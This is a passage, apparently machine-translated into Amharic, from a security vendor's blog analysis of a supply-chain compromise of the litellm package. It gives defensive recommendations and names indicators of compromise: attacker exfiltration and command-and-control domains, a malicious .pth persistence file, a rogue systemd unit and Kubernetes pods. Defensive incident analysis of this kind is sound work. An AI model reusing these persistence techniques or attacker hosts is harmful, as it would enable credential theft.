  • ጥገኛዎችን በሃሽ ይሰኩ፣ በስሪት ብቻ አይደለም። pip install litellm==1.82.6 --hash=sha256:... የተጎዱት ስሪቶች ለአጭር ጊዜ እንደ የቅርብ ጊዜው ስሪት ቢታዩም እንኳ እንዳይጫኑ ይከለክል ነበር።
  • የመቆለፊያ ፋይሎችን ይጠቀሙ። pip-compilepoetry.lock, እና uv.lock ትክክለኛ ስሪቶችን እና ሃሾችን ይያዙ። CI/CD ከተንሳፋፊ ስሪት መግለጫዎች ሳይሆን ከመቆለፊያ ፋይሎች መጫን አለበት።
  • ተቆጣጠር ለ .pth ፋይሎችን. በመደበኛነት ኦዲት ማድረግ site-packages/ ያልተጠበቀ .pth ፋይሎች - በእያንዳንዱ የፓይዘን ጅምር ላይ ይሰራሉ ​​​​እና ብዙም አድናቆት የማይቸራቸው የጽናት ዘዴዎች ናቸው።
  • የውጪ አውታረ መረብ መቆጣጠሪያዎችን ይተግብሩ። የፍሳሽ ማስወገጃው ወደ models.litellm.cloud እና የC2 የሕዝብ አስተያየት መስጫ ወደ checkmarx.zone በምርት አካባቢዎች ውስጥ በተፈቀደ ዝርዝር ላይ የተመሠረተ የኤግዚስት ማጣሪያ ተይዞ ሊሆን ይችላል።

ለፓኬጅ አስተናጋጅዎች

  • ጭንቅላታም መያያዣ መርፌ CI/CD እርምጃዎች በ commit SHA፣ መለያ አይደለም። የሊትኤልኤም pipeline ትሪቪን ያለተሰካ ስሪት ተጠቅሟል። ማጣቀሻ ቢኖረው ኖሮ aquasecurity/trivy-action@<commit-sha> ከሱ ይልቅ @latestየተጣለው እርምጃ ባልተፈፀመ ነበር።
  • ለአጭር ጊዜ የሚቆይ፣ የተዘረጉ የህትመት ቶከኖችን ይጠቀሙ። PyPI የታመኑ አሳታሚዎችን (OIDC-based) እና የተዘረጉ የኤፒአይ ቶከኖችን ይደግፋል። PYPI_PUBLISH ቶከን ለረጅም ጊዜ የሚቆይ፣ ያልተገደበ የህትመት መዳረሻ ሊኖረው አይገባም ነበር።
  • በPyPI ላይ ባለ ሁለት ደረጃ ማረጋገጫን ያንቁ። ለሁሉም ተንከባካቢዎች 2FA ያስፈልጋል እና በተቻለ መጠን የሃርድዌር ደህንነት ቁልፎችን ይጠቀሙ።
  • የምልክት ፓኬጆች። የሲግስቶር/PEP 740 ማረጋገጫዎች ሸማቾች አንድ ጥቅል በተጠበቀው መሰረት መገንባቱን እንዲያረጋግጡ ያስችላቸዋል። CI/CD pipelineየተሰረቀ ቶከን ባለው አጥቂ አይደለም።

ለፕላትፎርም ኦፕሬተሮች (PyPI፣ npm፣ GitHub)

  • ያልተለመዱ የህትመት ቅጦችን ያግኙ። ሁለት አዳዲስ ስሪቶች ከተለመደው የተለየ አይፒ ወይም ቶከን ከታተሙ 13 ደቂቃዎች ልዩነት፣ ፓኬጁ ከመጫኑ በፊት ለግምገማ እንዲቆይ ወይም በራስ-ሰር እንዲቃኝ ማድረግ አለባቸው።
  • የታመኑ አታሚዎችን ተቀባይነት ማፋጠን። በኦአይዲሲ ላይ የተመሠረተ የህትመት ህትመት ፓኬጆችን ከተወሰኑ ማከማቻዎች እና የስራ ፍሰቶች ጋር ያገናኛል፣ ይህም የተሰረቁ ቶከኖችን ከዋናው ውጪ ምንም ፋይዳ የሌላቸው ያደርጋቸዋል CI/CD አውድ.
  • የህትመት-ጊዜ ማልዌር ቅኝትን ይተግብሩ። በproxy_server.py ውስጥ ያለው የ base64-decoded payload በህትመት ጊዜ በስታቲስቲክስ ትንተና ሊታወቅ ይችላል።

ለኢኮሲስተም

  • የደህንነት መሳሪያዎችን እንደ ወሳኝ መሠረተ ልማት አድርገው ይቁጠሩ። ትሪቪ እና ቼክማርክስ KICS በሚሊዮን የሚቆጠሩ ሰዎች ጥቅም ላይ ይውላሉ pipelines. የGitHub እርምጃዎቻቸው ልክ እንደ ቃኙ ፓኬጆች በተመሳሳይ ጥብቅነት መፈረም፣ መሰካት እና ክትትል ሊደረግባቸው ይገባል።
  • በሂደት ጊዜ ማወቂያ ላይ ኢንቨስት ያድርጉ። የማይንቀሳቀስ ትንተና ብቻውን እያንዳንዱን የድብቅ ዘዴ መያዝ አይችልም። የጥቅል ጭነትን የማስኬጃ ጊዜ ክትትል hooks፣ ያልተጠበቁ የአውታረ መረብ ግንኙነቶች እና አጠራጣሪ የፋይል መዳረሻ ቅጦች በጥልቀት መከላከያ ይሰጣሉ።
  • የስጋት ብልህነትን በፍጥነት ያጋሩ። የሊቴልም የ5.5 ሰዓት የመጋለጥ መስኮት ፈጣን የሻጭ ቅንጅት ሲኖረው አጭር ሊሆን ይችል ነበር። እንደ Xygeni MEW፣ Socket እና Snyk ያሉ አውቶማቲክ የፍተሻ አገልግሎቶች ያልተለመደውን ነገር አግኝተዋል - ጉዳቱ የሰው ማረጋገጫ እና የመዝገብ ምላሽ ጊዜ ነው።

መደምደሚያ

የTeamPCP ዘመቻ ለ ወሳኝ ጊዜ ነው software supply chain security. አጥቂዎቹ የደህንነት ስካነሮችን መጀመሪያ በማበላሸት እና ከፍተኛ ዋጋ ያላቸውን የ AI መሠረተ ልማትን እንደ መወጣጫ በመጠቀም፣ የአቅርቦት ሰንሰለቱ እንደ ደካማው ጊዜያዊ ጥገኝነት ብቻ ጠንካራ መሆኑን እና ጥገኝነት ደህንነትዎን ለመጠበቅ የሚያምኑት የደህንነት መሳሪያ ሊሆን እንደሚችል አሳይተዋል።

የሊቴልም ስምምነት በተለይ ለአይአይ መሠረተ ልማት እየጨመረ የመጣውን አደጋ ያጎላል። የኤልኤልኤም ተኪ ጌቶች እየሆኑ ሲሄዱ standard ለ ንድፍ enterprise የAI ማሰማራት፣ በአንድ አካል ውስጥ የኤፒአይ ቁልፎችን፣ የደመና ምስክርነቶችን እና ሚስጥራዊ መረጃዎችን መዳረሻ ያተኩራሉ። ያንን ክፍል ማጣጣም ለጠቅላላው የAI ቁልል የአጽም ቁልፍ ነው።

በ5.5 ሰዓት ጊዜ ውስጥ litelm 1.82.7 ወይም 1.82.8 የጫኑ ድርጅቶች ይህንን እንደ ሙሉ የምስክርነት ስምምነት አድርገው ሊመለከቱት ይገባል፡ በተጎዱ ስርዓቶች ላይ ያሉትን ሁሉንም ምስጢሮች ያሽከርክሩ፣ የኩበርኔትስ ክላስተሮችን ኦዲት ያድርጉ node-setup-* ፖዶች በ ውስጥ kube-system፣ ማንኛውንም ያስወግዱ sysmon.service የስርዓት አሃዶች፣ እና ያረጋግጡ litellm_init.pth በፓይቶን ውስጥ site-packages/ ማውጫዎች። ኦፊሴላዊው የዶከር ምስል ተጠቃሚዎች (ghcr.io/berriai/litellm) ምንም አልተነኩም፣ ምክንያቱም ምስሉ ጥገኞቹን ስለጣበቀ እና በተጋለጠው መስኮት ወቅት እንደገና ስላልተገነባ።

ስለደራሲው

ተባባሪ መስራች እና CTO

ሉዊስ ሮድሪጌዝ በXygeni Security ተባባሪ መስራች እና CTO ነው። ከ20 ዓመት በላይ በመተግበሪያ ደህንነት ውስጥ ስላለ፣ ቡድኖች እውነተኛ የማድረስ አደጋን ለመቀነስ በሚረዱ የAppSec ጥበቃ እና የላቀ የኮድ-ትንታኔ ችሎታዎች ላይ ያተኩራል።

 
sca-tools-software-composition-analyse-tools
የሶፍትዌር አደጋዎችዎን ቅድሚያ ይስጡ፣ ያስተካክሉ እና ይጠብቁ
ነፃ መለያ ያግኙ።
ምንም ዱቤ ካርድ አያስፈልግም።

የሶፍትዌር ልማትዎን እና አቅርቦትዎን ደህንነት ይጠብቁ

ከ Xygeni Product Suite ጋር